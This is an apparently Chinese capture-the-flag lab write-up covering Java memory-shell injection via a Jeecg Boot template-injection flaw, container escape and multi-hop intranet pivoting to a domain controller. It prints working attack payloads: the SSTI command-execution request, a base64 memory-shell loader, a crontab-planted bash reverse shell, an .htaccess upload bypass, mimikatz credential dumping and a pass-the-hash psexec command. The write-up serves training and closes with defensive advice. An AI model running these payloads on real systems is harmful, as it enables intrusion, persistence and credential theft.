无限安全靶场-月挑战靶场1
字数 1631 2025-08-22 12:23:19

Java内存马注入与多层内网渗透实战教学

1. 靶场环境概述

1.1 靶场拓扑

  • 目标IP: 10.10.0.3
  • 开放服务:
    • 22(SSH)
    • 18088(Web服务)
    • 6379(Redis)
    • 3306(MySQL)
    • 18080(Web服务)

1.2 考察技术点

  1. 主机信息收集
  2. Java代码审计
  3. Java内存马注入
  4. 不出网环境下的权限获取
  5. 容器化信息收集与逃逸
  6. 蜜罐对抗
  7. Webshell杀软对抗
  8. 多级代理域渗透

2. 初始信息收集

2.1 端口扫描

使用fscan工具进行扫描:

fscan-gw.exe -h 10.10.0.3

发现关键服务:

  • Redis未授权访问
  • MySQL弱口令(root/root)
  • 两个Web服务(18080和18088)

2.2 Web服务探测

  1. 18088端口:

    • 存在/jeecg-boot/路径
    • 使用Jeecg Boot框架
  2. 18080端口:

    • 显示DocToolkit

3. 漏洞利用

3.1 Jeecg Boot SSTI注入漏洞(CVE-2023-4450)

3.1.1 漏洞验证

POST请求:

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 10.10.0.3:18088
Content-Type: application/json

{"sql":"select '<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"whoami\") }'"}

3.1.2 内存马注入

使用pen4uin/java-memshell-generator生成内存马payload:

  1. 生成AntSword Tomcat Listener类型内存马
  2. 配置参数:
    • 密码: Cslbewkahmg
    • 请求路径: /*
    • 请求头: Referer: Hftaa
    • 脚本类型: JSP

将生成的base64格式内存马替换到payload中:

{
  "sql":"call${\"freemarker.template.utility.ObjectConstructor\"?new()(\"javax.script.ScriptEngineManager\").getEngineByName(\"js\").eval(\"classLoader=java.lang.Thread.currentThread().getContextClassLoader();try{classLoader.loadClass('org.apachen.SOAPUtils').newInstance();}catch(e){clsString=classLoader.loadClass('java.lang.String');bytecodeBase64='[BASE64内存马]';try{clsBase64=classLoader.loadClass('java.util.Base64');clsDecoder=classLoader.loadClass('java.util.Base64$Decoder');decoder=clsBase64.getMethod('getDecoder').invoke(base64Clz);bytecode=clsDecoder.getMethod('decode',clsString).invoke(decoder,bytecodeBase64);}catch(ee){try{datatypeConverterClz=classLoader.loadClass('javax.xml.bind.DatatypeConverter');bytecode=datatypeConverterClz.getMethod('parseBase64Binary',clsString).invoke(datatypeConverterClz,bytecodeBase64);}catch(eee){clazz1=classLoader.loadClass('sun.misc.BASE64Decoder');bytecode=clazz1.newInstance().decodeBuffer(bytecodeBase64);}}clsClassLoader=classLoader.loadClass('java.lang.ClassLoader');clsByteArray=(''.getBytes().getClass());clsInt=java.lang.Integer.TYPE;defineClass=clsClassLoader.getDeclaredMethod('defineClass',[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);clazz=defineClass.invoke(classLoader,bytecode,0,bytecode.length);clazz.newInstance();};#{1}dbSource":"","type":"0"}

4. 权限提升与持久化

4.1 获取Shiro key

/home/ubuntu/.work/目录下找到源码,反编译发现Shiro key:

QZIysgMYhG7/CzIJlVpR1g==

4.2 蚁剑连接

  • 连接URL: http://10.10.0.3:18080/favicondemo.ico
  • 密码: pass1024

5. 容器逃逸

5.1 环境确认

使用df -h命令发现容器挂载了宿主机目录:

/dev/tmp 挂载到宿主机

5.2 定时任务逃逸

  1. 创建反弹shell脚本:
#!/bin/bash
bash -i >& /dev/tcp/IP/6665 0>&1
  1. 写入定时任务:
sed -i '$a*/1 * * * * root bash /tmp/test.sh' /dev/tmp/etc/crontab

6. 内网横向移动

6.1 第一层内网(192.168.80.0/24)

发现主机:

  • 192.168.80.55(Windows Server 2008 R2)

文件上传绕过

  1. 上传.htaccess文件:
<FilesMatch "\.jpg">
  SetHandler application/x-httpd-php
</FilesMatch>
  1. 上传免杀Webshell(使用ruoji工具生成)

6.2 第二层内网(192.168.81.0/24)

发现主机:

  • 192.168.81.20(Weblogic)

代理设置

使用Stowaway建立多层代理:

  1. VPS监听:
./linux_x64_admin -l 9001 -s 123
  1. 目标机连接:
./linux_x64_agent -c IP:9001 -s 123 --reconnect 8

6.3 第三层内网(192.168.77.0/24)

发现域控:

  • 192.168.77.250(WIN-LAVRSND6J6N.c3ting.org)

凭证获取

使用mimikatz获取hash:

privilege::debug
token::elevate
sekurlsa::logonpasswords

获取到Administrator的NTLM hash:

7ab183888ecafcccf897c4a5a59c8568

PTH攻击

使用psexec进行哈希传递:

proxychains4 python3 psexec.py -hashes :7ab183888ecafcccf897c4a5a59c8568 c3ting.org/administrator@192.168.77.250

7. 关键工具与技术总结

7.1 工具列表

  1. 扫描工具: fscan
  2. 内存马生成: pen4uin/java-memshell-generator
  3. 代理工具: Stowaway
  4. Webshell管理: 蚁剑、冰蝎、哥斯拉
  5. 免杀工具: ruoji
  6. 凭证获取: mimikatz

7.2 技术要点

  1. Java内存马注入的多种方式:

    • 通过SSTI漏洞加载
    • 使用defineClass动态加载
    • 多种base64解码方式兼容
  2. 容器逃逸方法:

    • 挂载目录逃逸
    • 定时任务持久化
  3. 内网渗透技巧:

    • 多层代理建立
    • 杀软规避(上传到ProgramData目录)
    • 域环境下的哈希传递
  4. Webshell免杀:

    • .htaccess文件伪装
    • 代码混淆加密
    • 动态函数调用

8. 防御建议

  1. 及时更新Jeecg Boot等框架
  2. 限制Freemarker模板执行权限
  3. 监控异常Java进程和内存加载
  4. 容器配置适当的安全策略
  5. 内网分段隔离
  6. 启用强密码策略和双因素认证
  7. 定期审计域内账户和权限
Java内存马注入与多层内网渗透实战教学 1. 靶场环境概述 1.1 靶场拓扑 目标IP: 10.10.0.3 开放服务: 22(SSH) 18088(Web服务) 6379(Redis) 3306(MySQL) 18080(Web服务) 1.2 考察技术点 主机信息收集 Java代码审计 Java内存马注入 不出网环境下的权限获取 容器化信息收集与逃逸 蜜罐对抗 Webshell杀软对抗 多级代理域渗透 2. 初始信息收集 2.1 端口扫描 使用fscan工具进行扫描: 发现关键服务: Redis未授权访问 MySQL弱口令(root/root) 两个Web服务(18080和18088) 2.2 Web服务探测 18088端口: 存在/jeecg-boot/路径 使用Jeecg Boot框架 18080端口: 显示DocToolkit 3. 漏洞利用 3.1 Jeecg Boot SSTI注入漏洞(CVE-2023-4450) 3.1.1 漏洞验证 POST请求: 3.1.2 内存马注入 使用pen4uin/java-memshell-generator生成内存马payload: 生成AntSword Tomcat Listener类型内存马 配置参数: 密码: Cslbewkahmg 请求路径: /* 请求头: Referer: Hftaa 脚本类型: JSP 将生成的base64格式内存马替换到payload中: 4. 权限提升与持久化 4.1 获取Shiro key 在 /home/ubuntu/.work/ 目录下找到源码,反编译发现Shiro key: 4.2 蚁剑连接 连接URL: http://10.10.0.3:18080/favicondemo.ico 密码: pass1024 5. 容器逃逸 5.1 环境确认 使用 df -h 命令发现容器挂载了宿主机目录: 5.2 定时任务逃逸 创建反弹shell脚本: 写入定时任务: 6. 内网横向移动 6.1 第一层内网(192.168.80.0/24) 发现主机: 192.168.80.55(Windows Server 2008 R2) 文件上传绕过 上传.htaccess文件: 上传免杀Webshell(使用ruoji工具生成) 6.2 第二层内网(192.168.81.0/24) 发现主机: 192.168.81.20(Weblogic) 代理设置 使用Stowaway建立多层代理: VPS监听: 目标机连接: 6.3 第三层内网(192.168.77.0/24) 发现域控: 192.168.77.250(WIN-LAVRSND6J6N.c3ting.org) 凭证获取 使用mimikatz获取hash: 获取到Administrator的NTLM hash: PTH攻击 使用psexec进行哈希传递: 7. 关键工具与技术总结 7.1 工具列表 扫描工具: fscan 内存马生成: pen4uin/java-memshell-generator 代理工具: Stowaway Webshell管理: 蚁剑、冰蝎、哥斯拉 免杀工具: ruoji 凭证获取: mimikatz 7.2 技术要点 Java内存马注入的多种方式: 通过SSTI漏洞加载 使用defineClass动态加载 多种base64解码方式兼容 容器逃逸方法: 挂载目录逃逸 定时任务持久化 内网渗透技巧: 多层代理建立 杀软规避(上传到ProgramData目录) 域环境下的哈希传递 Webshell免杀: .htaccess文件伪装 代码混淆加密 动态函数调用 8. 防御建议 及时更新Jeecg Boot等框架 限制Freemarker模板执行权限 监控异常Java进程和内存加载 容器配置适当的安全策略 内网分段隔离 启用强密码策略和双因素认证 定期审计域内账户和权限